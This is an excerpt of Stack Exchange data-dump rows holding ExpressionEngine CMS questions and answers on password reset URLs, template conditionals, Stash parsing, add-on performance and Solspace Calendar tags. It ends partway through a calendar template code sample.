  <row Id="35209" PostTypeId="1" CreationDate="2016-01-08T13:59:10.970" Score="1" ViewCount="145" Body="&lt;p&gt;When I request the password reset, it generates a URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mywebsite.com?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=reset_password&amp;amp;resetcode=rt4RTVHl&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite.com?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=reset_password&amp;amp;resetcode=rt4RTVHl&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this takes me to the homepage of the site, not the password reset page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this might be. Using the native members module 2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version 2.9.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3311" LastActivityDate="2016-01-08T15:31:00.033" Title="Password reset link taking me to homepage" Tags="|ee2|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35210" PostTypeId="2" ParentId="35203" CreationDate="2016-01-08T14:13:22.253" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/reset&quot; rel=&quot;nofollow&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/reset&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe there is an option to add a default &lt;code&gt;Clear Form&lt;/code&gt; button, but you really just need the tiniest bit of JavaScript and HTML. Depending on the way you use FreeForm, hard code the HTML for the button at the bottom of your form. If you use an automated output and don't build the form's elements yourself, use jQuery to insert it where you need. Example (place after &lt;code&gt;Submit&lt;/code&gt; button):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){ &#xA;&#xA;    // add button&#xA;    $('#my_freeform_form_element submit').after('&amp;lt;button id=&quot;clear_form&quot;&amp;gt;');&#xA;&#xA;    // add clear functionality &#xA;    $('#clear_form').click(function(){&#xA;        document.getElementById(&quot;my_freeform_form_element&quot;).reset();&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-01-08T14:13:22.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35212" PostTypeId="2" ParentId="35209" CreationDate="2016-01-08T15:08:15.267" Score="1" Body="&lt;p&gt;It may be that you didn't set your CP URL correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set it with a &lt;a href=&quot;https://docs.expressionengine.com/latest/general/system_configuration_overrides.html#overrides-cp-url&quot; rel=&quot;nofollow&quot;&gt;config override (v3 docs).&lt;/a&gt; For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_url'] = 'http://example.com/admin.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/v2/general/system_configuration_overrides.html#overrides-cp-url&quot; rel=&quot;nofollow&quot;&gt;EE v2 docs reference here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2016-01-08T15:08:15.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35213" PostTypeId="2" ParentId="35209" CreationDate="2016-01-08T15:31:00.033" Score="1" Body="&lt;p&gt;When running EE 2.9.2, a default install password reset URL should have this structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mywebsite.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=reset_password&amp;amp;resetcode=%generated_reset_code%&quot; rel=&quot;nofollow&quot;&gt;https://mywebsite.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=reset_password&amp;amp;resetcode=%generated_reset_code%&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suspect what Alex mentioned; you probably don't have your CP URL set correctly, or you are overridding it somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the link you have; it has a query string attached to the homepage and not to any apparent administrative scripts or paths. I believe only ACTion URL query strings have any value at your homepage in EE, besides any that you generate and use yourself in your homepage template (or if an EE addon does).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-01-08T15:31:00.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35214" PostTypeId="2" ParentId="34662" CreationDate="2016-01-08T17:55:53.593" Score="1" Body="&lt;p&gt;Generally when I want to export data from ExpressionEngine I take one of two approaches, depending how much data I need and how complex the channel structure is.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The easiest approach is to build templates to output the data. This is easily done to output XML, but it can also output JSON if you tinker around with the formatting in your template. You build your templates just like you'd build a normal frontend, except your wrap it in the XML or JSON formatting you need. Load it up in a browser and you have all the data you need. You can either save the output as an XML file or point your new site's import process directly to the template, depending on the situation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For larger amounts of data, I've also build custom tools for exporting data. I create a new PHP file outside of ExpressionEngine and connect it to the EE database using &lt;a href=&quot;https://github.com/rsanchez/ExpressionEngine-Bootstrap&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Bootstrap&lt;/a&gt;. From there it's just a matter of using PHP and EE's database library to pull the needed data from the database and output it in XML or JSON. This tends to be a bit more complicated, since you have to make your queries handle all of the table relationships that a template tag would already handle for you in approach #1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="197" LastActivityDate="2016-01-08T17:55:53.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35216" PostTypeId="1" AcceptedAnswerId="35217" CreationDate="2016-01-08T21:09:36.363" Score="0" ViewCount="51" Body="&lt;p&gt;I have an events channel that displays brief information about upcoming events. Those entries are set to 'expire' when they pass a certain date. When there aren't any pending events I would like to display alternative text like “There are no upcoming events at this time. Sign up for a our Newsletter to keep up to date.”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the following but it does not work because there isn't a case where there aren't any entries at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_entries != 0}&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;{event_dates}&amp;lt;br /&amp;gt;&#xA;    {event_location}&amp;lt;/p&amp;gt;&#xA;    {event_summary}&#xA;{if:else}&#xA;&amp;lt;p&amp;gt;There are no upcoming events at this time. Sign up for a our &amp;lt;a href=&quot;/contact/newsletter&quot;&amp;gt;Newsletter&amp;lt;/a&amp;gt; to keep up to date.    &amp;lt;/p&amp;gt;&#xA;{/if}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set a condition for when there aren't any entries that aren't expired?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2016-01-09T03:17:12.617" Title="How do I display alternative text when there are no active entries in a channel?" Tags="|conditionals|advanced-conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35217" PostTypeId="2" ParentId="35216" CreationDate="2016-01-09T00:46:29.747" Score="3" Body="&lt;p&gt;The reason your code is not working is because if ExpressionEngine does not return any results, then it doesn't even parse the tags - thus {total_entries} does not even exist in that context. Also note - it is {total_results}, not {total_entries}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help with this issue, EE has developed the {if no_results} conditional. Using that, your code should look as follows...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}&#xA;     &amp;lt;p&amp;gt;There are no upcoming events at this time. Sign up for a our &amp;lt;a href=&quot;/contact/newsletter&quot;&amp;gt;Newsletter&amp;lt;/a&amp;gt; to keep up to date.    &amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    {event_dates}&amp;lt;br /&amp;gt;&#xA;    {event_location}&#xA;&amp;lt;/p&amp;gt;&#xA;{event_summary}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine will automatically count anything not within the 'no_results' tag as displaying if there ARE results.&lt;/p&gt;&#xA;" OwnerUserId="6744" LastEditorUserId="6744" LastEditDate="2016-01-09T03:17:12.617" LastActivityDate="2016-01-09T03:17:12.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35218" PostTypeId="2" ParentId="35187" CreationDate="2016-01-09T00:53:47.893" Score="0" Body="&lt;p&gt;One thing you could try is while editing an entry, openening the sidebar and clicking 'Reset Layout'. You may need to save and then reopen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solves issues like that for me sometimes.&lt;/p&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2016-01-09T00:53:47.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35219" PostTypeId="1" CreationDate="2016-01-09T14:42:55.507" Score="0" ViewCount="99" Body="&lt;p&gt;Problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A value set is not parsed inside a channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value is actually set (and parsed with the embed on the page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I hard-code the value in te channel:entries tag the result appears, so there is nothing wrong with the channel code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want get this value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;     name=&quot;MedlemLetterAuthor&quot;&#xA; }&#xA;    {exp:channel:entries&#xA;        channel=&quot;member_profiles&quot;&#xA;        dynamic_parameters=&quot;search:member_letter&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;        dynamic=&quot;off&quot;}&#xA;    {author_id}|&#xA;    {/exp:channel:entries}&#xA; {/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;This is my embed:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;begin test&#xA;    just for testing: {exp:stash:get&#xA;         name=&quot;MedlemLetterAuthor&quot;&#xA;     }&#xA;end test&#xA;&#xA;{exp:stash:parse&#xA;process=&quot;end&quot;&#xA;trim=&quot;yes&quot;}&#xA;&#xA;&#xA;&#xA;        {exp:channel:entries&#xA;                            channel=&quot;kcvast_arbet|kcvast_offentlig&quot;&#xA;                            disable=&quot;pagination|category-fields|member-data&quot;&#xA;                            dynamic=&quot;no&quot;&#xA;                            author_id=&quot;{stash:MedlemLetterAuthor}&quot;&#xA;                            orderby=&quot;author_id&quot;&#xA;                            parse=&quot;inward&quot;&#xA;                            }&#xA;                            {off-gest-bilder&#xA;                            cover_only=&quot;yes&quot;&#xA;                            }some channel code here&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;This appears on my page&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;begin test&#xA;    just for testing: &#xA;&#xA;        8|&#xA;&#xA;        46|&#xA;&#xA;&#xA;end test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2016-01-16T13:08:51.067" LastActivityDate="2016-06-01T02:11:40.487" Title="Cannot make stash:get to show up inside exp:channel tag" Tags="|stash|channel|parse-order|embeds|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35220" PostTypeId="1" AcceptedAnswerId="35263" CreationDate="2016-01-09T17:57:59.727" Score="1" ViewCount="87" Body="&lt;p&gt;&lt;strong&gt;Although I have set in the CP the localisation settings to Swedish,&lt;/strong&gt; also for superadin and my users, and I have installed the &lt;strong&gt;Swedish foreign language&lt;/strong&gt; pack the date formattings in my Templates still are English, this is unwanted I cannot work with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Day 4 in the week should be 'torsdag' &lt;strong&gt;(=Swedish)&lt;/strong&gt; but it remains 'Thursday'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not understand how this really works.&#xA;Is there a simple native way to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for answering.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2016-01-13T12:22:47.590" LastActivityDate="2016-01-14T07:07:50.463" Title="Formatting date does not follow localisation settings!" Tags="|ee2|language|date-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35221" PostTypeId="1" CreationDate="2016-01-10T05:00:20.947" Score="0" ViewCount="47" Body="&lt;p&gt;I've been developing a website for an artist to feature and sell their artwork. Each piece of artwork has its own channel entry, and currently, there are a number of &quot;File&quot; fields so the artist can upload various views (e.g., landscape, portrait) for each artwork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They've created all of the artwork entries and are now going back through and adding all of the various view images. However, they find EE's upload process tedious for this particular work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, they want to bypass EE's built-in file browser entirely. They'd like to replace the &quot;Add File&quot; link with a single file upload input field à la the old nGen File fieldtype so they can upload images directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked and looked and can't find anything to fit the bill. I thought the &quot;Show existing files?&quot; option for &quot;File&quot; fieldtypes might be the solution, but that's only on the front-end, not the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is currently running on v2.10.1, FWIW.&lt;/p&gt;&#xA;" OwnerUserId="567" LastActivityDate="2016-06-04T19:48:21.007" Title="Replace &quot;Add File&quot; link with a single file upload input?" Tags="|file-uploads|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35224" PostTypeId="1" CreationDate="2016-01-10T20:02:40.890" Score="0" ViewCount="29" Body="&lt;p&gt;I have just installed Playa but after I created a Playa field I can't edit or publish any entries in the admin panel anymore. When I try to publish or create an entry I get a spinner until it ends with an error &quot;Fatal error: Maximum execution time of 300 seconds exceeded in /home/hospl/public_html/system/codeigniter/system/core/Loader.php on line 341&quot;. As soon as I remove the just created playa field I can publish or edit an entry again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have EE 2.9.2 running on PHP 5.4.45, Apache2.2.31 and MySQL 5.5.47. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some further investigation I noticed that when I am in the edit playa field window and I select a single channel with only a few entries I can publish or edit an entry again from the admin panel. As soon as I select a channel in the edit playa field window with a lot of entries (around 30k) the error message comes up again when publishing or editing an entry in the admin panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the issue seems to be triggered by the number of entries in the selected channel of the playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what to do next, is there a limit to the number of entries in a channel for Playa to work or are there other options I can consider like adding indexes or caching to improve performance and thereby make it work? I am not sure what to do next so any help would be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Tammo&lt;/p&gt;&#xA;" OwnerUserId="6984" LastEditorUserId="6984" LastEditDate="2016-01-10T22:24:46.547" LastActivityDate="2016-04-24T14:40:07.603" Title="Unable to open entries after creating Playa field" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35226" PostTypeId="2" ParentId="35224" CreationDate="2016-01-11T01:59:45.717" Score="0" Body="&lt;p&gt;It isn't a matter of being limited to a number of entries, but rather there are just way to many (30k??!!) entries for the system to be able to pull/display before the page times out. Your best bet would be to set the desired sorting option (newest first?) and then limit the number of entries it returns (say to like, 100). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot think of a feasible reason they would need access to all 30,000 and this will substantially speed up load time to the point where the page will not timeout.&lt;/p&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2016-01-11T01:59:45.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35227" PostTypeId="1" AcceptedAnswerId="35244" CreationDate="2016-01-11T06:29:32.187" Score="0" ViewCount="90" Body="&lt;p&gt;I have a site with a matrix field that stores images (file field) in one matrix cell and captions in another. I am trying to get the file field to output the height and width of the image. Here is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field_name}&#xA;  {gallery_image_field}{width}x{height}{/gallery_image_field}&#xA;{/matrix_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this code does output the width and height but it also outputs the path to the file. Something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://sitename.com/image/image.jpg800x600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to get it to only output the dimensions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2 and Matrix 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In answer to the question if there was more code. There is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div id=&quot;project_gallery&quot; class=&quot;my-gallery clearfix&quot; itemscope itemtype=&quot;http://schema.org/ImageGallery&quot;&amp;gt;&#xA;    {cf_project_gallery}&#xA;      &amp;lt;figure itemprop=&quot;associatedMedia&quot; itemscope itemtype=&quot;http://schema.org/ImageObject&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{cell_1}&quot; itemprop=&quot;contentUrl&quot; data-size=&quot;{cell_1}{width}x{height}{/cell_1}&quot;&amp;gt;&#xA;          {exp:ce_img:pair src=&quot;{cell_1}&quot; width=&quot;92&quot; height=&quot;69&quot; crop=&quot;yes|left,top&quot; allow_scale_larger=&quot;yes&quot;}&#xA;            &amp;lt;img class=&quot;gallery_img&quot; src=&quot;{made}&quot; itemprop=&quot;thumbnail&quot; alt=&quot;{cell_2}&quot; /&amp;gt;&#xA;          {/exp:ce_img:pair}&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;figcaption itemprop=&quot;caption description&quot;&amp;gt;{cell_2}&amp;lt;/figcaption&amp;gt;                           &#xA;      &amp;lt;/figure&amp;gt;&#xA;    {/cf_project_gallery}&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the full code minus the channel entries tag which has a bunch more code in between so I have not included. I just used a paired down version for simplicity of explanation in my original post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried just stripping down the code like in your example and it did output the correct data. I think EE was getting confused on the first {cell_1} being the opening tag which makes sense I guess. I rewrote it to this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div id=&quot;project_gallery&quot; class=&quot;my-gallery clearfix&quot; itemscope itemtype=&quot;http://schema.org/ImageGallery&quot;&amp;gt;&#xA;    {cf_project_gallery}&#xA;      &amp;lt;figure itemprop=&quot;associatedMedia&quot; itemscope itemtype=&quot;http://schema.org/ImageObject&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{cell_1}{cell_1}&quot; itemprop=&quot;contentUrl&quot; data-size=&quot;{width}x{height}{/cell_1}&quot;&amp;gt;&#xA;          {exp:ce_img:pair src=&quot;{cell_1}&quot; width=&quot;92&quot; height=&quot;69&quot; crop=&quot;yes|left,top&quot; allow_scale_larger=&quot;yes&quot;}&#xA;            &amp;lt;img class=&quot;gallery_img&quot; src=&quot;{made}&quot; itemprop=&quot;thumbnail&quot; alt=&quot;{cell_2}&quot; /&amp;gt;&#xA;          {/exp:ce_img:pair}&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;figcaption itemprop=&quot;caption description&quot;&amp;gt;{cell_2}&amp;lt;/figcaption&amp;gt;                           &#xA;      &amp;lt;/figure&amp;gt;&#xA;    {/cf_project_gallery}&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that did the trick. I didn't notice it originally but in the first version it was not outputting the path to the image on the first cell_1 so that's what eventually clued me in.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastEditorUserId="1283" LastEditDate="2016-01-12T17:29:59.003" LastActivityDate="2016-01-12T17:29:59.003" Title="How to get width, height from file field within a matrix cell" Tags="|matrix|file-field|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35228" PostTypeId="2" ParentId="35219" CreationDate="2016-01-11T06:45:55.577" Score="1" Body="&lt;p&gt;In your embed code you have pasted it looks like you have an extra pipe character in your author_id parameter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;author_id=&quot;{stash:get name=&quot;MedlemLetterAuthor&quot;}|&quot;parse=&quot;inward&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;makes it a little hard to understand what the code is supposed to be. Perhaps its just a typo. The other thing to try would be what is suggested in this thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/support/stash/viewthread/7166&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/support/stash/viewthread/7166&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes I find using single quotes within double quotes of parameters helps as well for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;author_id=&quot;{stash:get name='MedlemLetterAuthor'}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2016-01-11T06:45:55.577" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35229" PostTypeId="2" ParentId="35196" CreationDate="2016-01-11T07:04:28.557" Score="0" Body="&lt;p&gt;Owl carousel will give you an error if you have 1 item and use loop=true. Add onInitialize to check how many items the carousel contains. If the carousel has 1 or less items, set loop to false:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.owl-carousel').owlCarousel({&#xA;    loop:true,&#xA;    onInitialize: function (event) {&#xA;        if ($('.owl-carousel .item').length &amp;lt;= 1) {&#xA;           this.settings.loop = false;&#xA;        }&#xA;    }&#xA;  })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2016-01-11T07:04:28.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35230" PostTypeId="1" CreationDate="2016-01-11T07:48:01.567" Score="0" ViewCount="75" Body="&lt;p&gt;Am using EE 2.10.2 and NavEE 2.2.10 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever am assigning target blank or parent or any target to manual links it is not working. Probably a bug, not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did anyone encounter this?&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2016-04-27T20:35:38.540" Title="NavEE manual links target not working" Tags="|navee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35231" PostTypeId="2" ParentId="35230" CreationDate="2016-01-11T08:04:46.840" Score="0" Body="&lt;p&gt;My bad, should have included the variable {target} in the attribute, target=&quot;{target}&quot;&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2016-01-11T08:04:46.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35234" PostTypeId="2" ParentId="34718" CreationDate="2016-01-11T14:45:54.557" Score="0" Body="&lt;p&gt;Following up on my own question here—I've been communicating with Cart Throb and they are optimizing a few methods that will reduce the number of queries in a future release.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2016-01-11T14:45:54.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35235" PostTypeId="1" AcceptedAnswerId="35251" CreationDate="2016-01-11T14:51:45.637" Score="2" ViewCount="143" Body="&lt;p&gt;In an add-on, I'd like to get a list of entries (events) ordered by the first upcoming occurrence of that event. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Event X: 2016-01-05 and 2016-01-08 (2 occurrences)&lt;/li&gt;&#xA;&lt;li&gt;Event Y: 2016-01-07, 2016-01-08 and 2016-01-09  (3 occurrences)&lt;/li&gt;&#xA;&lt;li&gt;Event Z: 2016-01-04 and 2016-01-09  (2 occurrences)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On 2016-01-02, I should get a list of Z, X, Y.&#xA;On 2016-01-06, I should get a list of Y, X, Z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where to begin here. Querying the &lt;code&gt;calendar_events_occurrences&lt;/code&gt; seems incomplete. &lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-01-12T15:31:48.533" Title="For a list of events, get the first occurrence of each event, programmatically" Tags="|solspace|add-on-development|solspace-calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35236" PostTypeId="2" ParentId="35235" CreationDate="2016-01-11T15:56:02.107" Score="0" Body="&lt;p&gt;If I understand your question properly, the template tag you'd want to use is &lt;a href=&quot;https://solspace.com/expressionengine/calendar/docs/cal/&quot; rel=&quot;nofollow&quot;&gt;Calendar:Cal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag allows you to display a chronological list of events with all occurrences. You can also check out the &lt;a href=&quot;https://solspace.com/expressionengine/calendar/docs/getting_started/&quot; rel=&quot;nofollow&quot;&gt;Getting Started documentation&lt;/a&gt; which explains the differences between each Calendar tag, used to achieve different things. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you're making a &lt;a href=&quot;https://solspace.com/expressionengine/calendar/docs/day/#advanced&quot; rel=&quot;nofollow&quot;&gt;Day view&lt;/a&gt; page you code might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;    pad_short_weeks=&quot;n&quot; &#xA;    {if segment_3 == ''}&#xA;        date_range_start=&quot;today&quot;&#xA;        date_range_end=&quot;today&quot;&#xA;    {/if}&#xA;    {if segment_3 != ''}&#xA;        date_range_start=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;        date_range_end=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;    {/if}&#xA;    }&#xA;    {display_each_day}&#xA;        &amp;lt;div class=&quot;header&quot;&amp;gt;&#xA;            &amp;lt;div style=&quot;float: left; width: 20%;&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{path='calendar/day'}{prev_day format=&quot;%Y/%m/%d&quot;}/&quot;&amp;gt;&#xA;                    Yesterday&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div style=&quot;float: left; width: 60%; text-align: center;&quot;&amp;gt;&#xA;                &amp;lt;h1&amp;gt;{date format=&quot;%l, %F %d, %Y&quot;} ({day_event_total} events)&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div style=&quot;float: right; text-align: right; width: 20%;&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{path='calendar/day'}{next_day format=&quot;%Y/%m/%d&quot;}/&quot;&amp;gt;&#xA;                    Tomorrow&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;br style=&quot;clear: both;&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {display_each_hour}&#xA;            &amp;lt;h2&amp;gt;&#xA;                {date format=&quot;%g:%i %a&quot;} ({hour_event_total} events)&#xA;            &amp;lt;/h2&amp;gt;&#xA;            {events}&#xA;            &amp;lt;div class=&quot;event&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;head&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&#xA;                        &amp;lt;a href=&quot;{path='calendar/events'}{event_id}/&quot;&amp;gt;&#xA;                            {event_title}&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/h2&amp;gt; &#xA;                {if event_all_day}&#xA;                    &amp;lt;p&amp;gt;&#xA;                        {event_start_date format=&quot;%Y-%m-%d&quot;}&#xA;                        {if event_end_date}&#xA;                            - {event_end_date format=&quot;%Y-%m-%d&quot;}&#xA;                        {/if}&#xA;                    &amp;lt;/p&amp;gt;&#xA;                {if:else}&#xA;                    &amp;lt;p&amp;gt;&#xA;                        {event_start_date format=&quot;%Y-%m-%d %H:%i&quot;}&#xA;                        {if event_end_date}&#xA;                            - {event_end_date format=&quot;%Y-%m-%d %H:%i&quot;}&#xA;                        {/if}&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        This event lasts {event_duration_days} days &#xA;                        {event_duration_hours} hours &#xA;                        {event_duration_minutes} minutes.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                {/if}&#xA;                    &amp;lt;p&amp;gt;&#xA;                        From calendar:&#xA;                        &amp;lt;a href=&quot;{path='calendar/calendars'}{event_calendar_id}/&quot;&amp;gt;&#xA;                            {event_calendar_title}&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;body&quot;&amp;gt;&#xA;                    